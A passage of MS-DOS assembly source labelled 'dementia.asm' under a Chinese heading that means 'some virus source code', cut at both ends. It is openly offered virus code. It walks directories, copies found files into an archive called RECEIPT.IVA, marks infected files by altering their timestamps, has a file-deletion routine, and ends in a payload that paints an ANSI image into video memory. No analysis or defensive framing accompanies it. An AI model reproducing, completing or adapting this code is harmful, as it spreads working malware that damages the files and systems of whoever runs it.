dementia.asm

一些病毒源代码

	     mov     cx,40h		 ; Write sixty-four bytes
	     mov     bx,[bp-10h]	 ; BX = file handle of RECEIPT.IVA
	     call    write_file
	     pop     ds 		 ; Load DS from stack

	     mov     cx,0eh		 ; Write fourteen bytes
	     mov     dx,1eh		 ; DX = offset of filename
	     call    write_file_

	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h+4ch
	     mov     ds,ax		 ; DS = segment of data buffer

	     mov     bx,[bp-12h]	 ; BX = file handle of file within ...
	     call    set_pos_eof
	     mov     ds:[00h],ax	 ; Store low-order word of filesize
	     mov     ds:[02h],dx	 ; Store high-order word of filesize

	     mov     bx,[bp-10h]	 ; BX = file handle of RECEIPT.IVA
	     mov     cx,04h		 ; Write four bytes
	     call    write_file

	     mov     bx,[bp-12h]	 ; BX = file handle of file within ...
	     call    set_pos_sof
copy_file:
	     mov     bx,[bp-12h]	 ; BX = file handle of file within ...
	     mov     cx,400h		 ; Read one thousand and twenty-fou...
	     call    read_file
	     cmp     ax,00h		 ; Read all of the file?
	     je      call_fnd_nxt	 ; Equal? Jump to call_fnd_nxt

	     mov     cx,ax		 ; CX = number of bytes actually read
	     mov     bx,[bp-10h]	 ; BX = file handle of RECEIPT.IVA
	     call    write_file

	     jmp     copy_file
call_fnd_nxt:
	     mov     bx,[bp-12h]	 ; BX = file handle of file within ...
	     call    close_file

	     call    find_next
	     jc      fnd_nxt_loop	 ; Error? Jump to fnd_nxt_loop

	     jmp     find_next_
fnd_nxt_loop:
	     pop     dx cx		 ; Load registers from stack

	     add     dx,0eh		 ; DX = offset of next file specifi...

	     dec     cx 		 ; Decrease count register
	     cmp     cx,00h		 ; No more files?
	     je      copy_name		 ; Equal? Jump to copy_name

	     jmp     find_first_
copy_name:
	     xor     cx,cx		 ; Zero CX
find_first__:
	     push    cx 		 ; Save CX at stack
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     lea     dx,file_specifi	 ; DX = offset of file_specifi
	     nop
	     mov     cx,0000000000010111b
	     call    find_first
	     jc      receip_exit	 ; Error? Jump to receip_exit

	     pop     cx 		 ; Load CX from stack
	     push    cx 		 ; Save CX at stack

	     jmp     test_count

	     nop
found_dir:
	     push    cx 		 ; Save CX at stack

	     mov     cx,01h		 ; Don't examine disk transfer area
test_count:
	     cmp     cx,00h		 ; Examine disk transfer area?
	     je      examine_dta	 ; Equal? Jump to examine_dta

	     call    find_next
	     jc      receipt_exit	 ; Error? Jump to receipt_exit

	     dec     cx 		 ; Decrease CX

	     jmp     test_count
examine_dta:
	     pop     cx 		 ; Load CX from stack
	     inc     cx 		 ; Increase count register

	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h+44h
	     mov     es,ax		 ; ES = segment of end of pathname
	     add     ax,04h		 ; AX = segment of disk transfer area
	     mov     ds,ax		 ; DS =    "    "   "      "      "

	     mov     si,15h		 ; SI = offset of attribute of file...
	     lodsb			 ; AL = attribute of file found
	     test    al,00010000b	 ; Directory?
	     je      found_dir		 ; Equal? Jump to found_dir

	     mov     si,1eh		 ; SI = offset of filename
	     lodsb			 ; AL = byte of filename
	     cmp     al,'.'              ; Directory?
	     je      found_dir		 ; Equal? Jump to found_dir

	     mov     ax,[bp-02h]	 ; AX = store or don't store backslash
	     mov     di,ax		 ; DI = offset of end of pathname
	     mov     si,1eh		 ; SI = offset of filename
	     cmp     al,01h		 ; Don't store backslash?
	     je      copy_name_ 	 ; Equal? Jump to copy_name_

	     mov     al,'\'              ; AL = backslash
	     stosb			 ; Store backslash
copy_name_:
	     lodsb			 ; AL = byte of filename
	     cmp     al,00h		 ; End of filename?
	     je      store_zero 	 ; Equal? Jump to store_zero

	     stosb			 ; Store byte of filename

	     jmp     copy_name_
store_zero:
	     mov     dx,di		 ; DX = offset of end of pathname
	     xor     al,al		 ; AL = zero
	     stosb			 ; Store zero

	     mov     ax,[bp-08h]	 ; AX = number of file specifications
	     mov     bx,[bp-10h]	 ; BX = file handle of RECEIPT.IVA
	     mov     ds,[bp-06h]	 ; DS = segment of file specifictions
	     push    cx 		 ; Save CX at stack
	     call    create_recei
	     pop     cx 		 ; Load CX from stack

	     mov     ah,3bh		 ; Set current directory

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     xor     dx,dx		 ; Zero DX

	     mov     di,[bp-02h]	 ; DI = offset of end of pathname
	     xor     al,al		 ; AL = zero
	     stosb			 ; Store zero

	     int     21h

	     jmp     find_first__
receipt_exit:
	     pop     cx 		 ; Load CX from stack
receip_exit:
	     mov     sp,bp		 ; SP = stack pointer

	     pop     bp 		 ; Load BP from stack

	     ret			 ; Return!
	     endp

open_file    proc    near		 ; Open file
	     mov     ax,3dffh		 ; Open file
	     xor     cx,cx		 ; CL = attribute mask of files to ...
	     int     21h
	     mov     bx,ax		 ; BX = file handle

	     ret			 ; Return!
	     endp

close_file   proc    near		 ; Close file
	     mov     ah,3eh		 ; Close file
	     int     21h

	     ret			 ; Return!
	     endp

find_first   proc    near		 ; Find first matching file
	     mov     ax,4e00h		 ; Find first matching file
	     int     21h

	     ret			 ; Return!
	     endp

find_next    proc    near		 ; Find next matching file
	     mov     ah,4fh		 ; Find next matching file
	     int     21h

	     ret			 ; Return!
	     endp

load_info    proc    near		 ; Get file's date and time
	     mov     ax,5700h		 ; Get file's date and time
	     int     21h
	     mov     [bp-04h],cx	 ; Store file time
	     mov     [bp-02h],dx	 ; Store file date

	     ret			 ; Return!
	     endp

infect_mark  proc    near		 ; Infection mark
	     mov     ax,5701h		 ; Set file's date and time
	     mov     cx,[bp-04h]	 ; CX = file time
	     mov     dx,[bp-02h]	 ; DX = file date
	     and     cx,1111111111100000b
	     or      cx,0000000000000001b
	     int     21h

	     ret			 ; Return!
	     endp

read_file    proc    near		 ; Read from file
	     xor     dx,dx		 ; Zero DX

read_file_   proc    near		 ; Read from file
	     mov     ah,3fh		 ; Read from file
	     int     21h

	     ret			 ; Return!
	     endp
	     endp

create_file  proc    near		 ; Create file
	     mov     ah,3ch		 ; Create file

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     xor     cx,cx		 ; CX = file attributes
	     int     21h

	     ret			 ; Return!
	     endp

write_file   proc    near		 ; Write to file
	     xor     dx,dx		 ; Zero DX

write_file_  proc    near		 ; Write to file
	     mov     ah,40h		 ; Write to file
	     int     21h

	     ret			 ; Return!
	     endp
	     endp

set_pos_cfp  proc    near		 ; Set current file position (CFP)
	     mov     ax,4201h		 ; Set current file position (CFP)
	     int     21h

	     ret			 ; Return!
	     endp

set_pos_eof  proc    near		 ; Set current file position (EOF)
	     mov     ax,4202h		 ; Set current file position (EOF)
	     xor     cx,cx		 ; Zero CX
	     cwd			 ; Zero DX
	     int     21h

	     ret			 ; Return!
	     endp

set_pos_sof  proc    near		 ; Set current file position (SOF)
	     xor     cx,cx		 ; Zero CX
	     xor     dx,dx		 ; Zero DX

set_pos_sof_ proc    near		 ; Set current file position (SOF)
	     mov     ax,4200h		 ; Set current file position (SOF)
	     int     21h

	     ret			 ; Return!
	     endp
	     endp

delete_file  proc    near		 ; Delete file
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ah,41h		 ; Delete file
	     xor     cx,cx		 ; CL = attribute mask for deletion
	     int     21h

	     ret			 ; Return!
	     endp
file_begin:
	     mov     ax,0b800h		 ; AX = segment of text video RAM
	     mov     es,ax		 ; ES =    "    "   "     "    "

	     xor     di,di		 ; Zero DI
	     mov     cx,7d0h		 ; Store four thousand bytes
	     mov     ax,720h		 ; Black background color, light-gr...
	     rep     stosw		 ; Overwrite text video RAM

	     xor     di,di		 ; Zero DI
	     mov     si,(ansi_begin-file_begin+100h)
	     mov     cx,(ansi_end-ansi_begin)

	     nop
load_ansi:
	     lodsb			 ; AL = byte of ansi
	     cmp     al,0ffh		 ; Write a string?
	     jne     store_ansi 	 ; Not equal? Jump to store_ansi

	     lodsb			 ; AL = byte of ansi
	     dec     cx 		 ; Derease count register
	     cmp     al,0ffh		 ; Write a single character?
	     je      store_ansi 	 ; Equal? Jump to store_ansi

	     push    cx si ds		 ; Save registers at stack
	     xor     cx,cx		 ; Zero CX
	     mov     cl,al		 ; CL = size of string
	     lodsb			 ; AL = byte of ansi
	     mov     bl,al		 ; BL = low-order byte of offset of...
	     lodsb			 ; AL = byte of ansi
	     mov     bh,al		 ; BH = high-order byte of offset o...
	     mov     si,bx		 ; SI = offset of string within ansi

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     rep     movsb		 ; Move string to text video RAM
	     pop     ds si cx		 ; Load registers at stack

	     add     si,02h		 ; Add two to index register

	     sub     cx,02h		 ; Subtract two from count register

	     jmp     ansi_loop

	     nop
	     nop
store_ansi:
	     stosb			 ; Store a byte of ansi
ansi_loop:
	     loop    load_ansi

	     int     20h

ansi_begin   db      20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh
	     db      00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch
	     db      00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h
	     db      0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h
	     db      08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h
	     db      0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh
	     db      0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h
	     db      82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h
	     db      0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h
	     db      0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h
	     db      0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h
	     db      0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h
	     db      04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh
	     db      0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h
	     db      3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h
	     db      0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h
	     db      01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h
	     db      0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh
	     db      09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh
	     db      05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h
	     db      37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh
	     db      03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h
	     db      0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh
	     db      12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h
	     db      42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh
	     db      08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h
	     db      05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h
	     db      0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h
	     db      0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch
	     db      07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h
	     db      0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh
	     db      05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h
	     db      0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h
	     db      01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h
	     db      0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h
	     db      0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h
	     db      0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h
	     db      0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh
	     db      0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h
	     db      50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,